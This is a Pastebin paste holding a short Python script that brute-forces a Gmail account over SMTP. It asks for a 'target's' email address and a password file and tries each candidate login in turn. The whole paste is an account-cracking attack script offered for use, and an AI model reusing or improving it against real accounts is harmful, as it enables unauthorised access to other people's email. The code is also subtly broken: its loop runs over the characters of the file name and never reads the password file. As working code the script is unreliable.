Guest User

Untitled

a guest
Jun 19th, 2020
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. import smtplib
  2.  
  3. smtp_srverG= smtplib.SMTP('smtp.gmail.com', 587)
  4. smtp_srverG.ehlo()
  5. smtp_srverG.starttls()
  6.  
  7. user = input("Enter the target's email address: ")
  8. passwfile = input("Enter the password file name: ")
  9. passwfile = passwfile.strip()
  10.  
  11. for password in passwfile:
  12. try:
  13. smtp_srverG.login(user, password)
  14.  
  15. print("[+] Password Found: %s" % password)
  16. break;
  17. except smtplib.SMTPAuthenticationError:
  18. print("[!] Password Incorrect: %s" % password)
Add Comment
Please, Sign In to add comment